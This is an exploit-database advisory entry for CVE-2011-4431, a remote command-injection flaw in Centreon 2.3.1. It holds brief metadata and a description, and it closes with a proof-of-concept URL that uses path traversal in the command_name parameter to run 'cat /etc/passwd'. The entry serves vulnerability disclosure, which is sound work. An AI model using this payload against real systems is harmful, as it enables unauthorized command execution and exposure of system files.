Centreon 2.3.1 - 'command_name' Remote Command Execution

Author: Christophe de la Fuente
type: webapps
platform: php
port: 
date_added: 2011-11-04 
date_updated: 2015-03-06 
verified: 1 
codes: CVE-2011-4431;OSVDB-77211 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/50568/info

Centreon is prone to a remote command-injection vulnerability.

Attackers can exploit this issue to execute arbitrary commands in the context of the application.

Centreon 2.3.1 is affected; other versions may also be vulnerable.

http://www.example.com/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23&o=h&min=1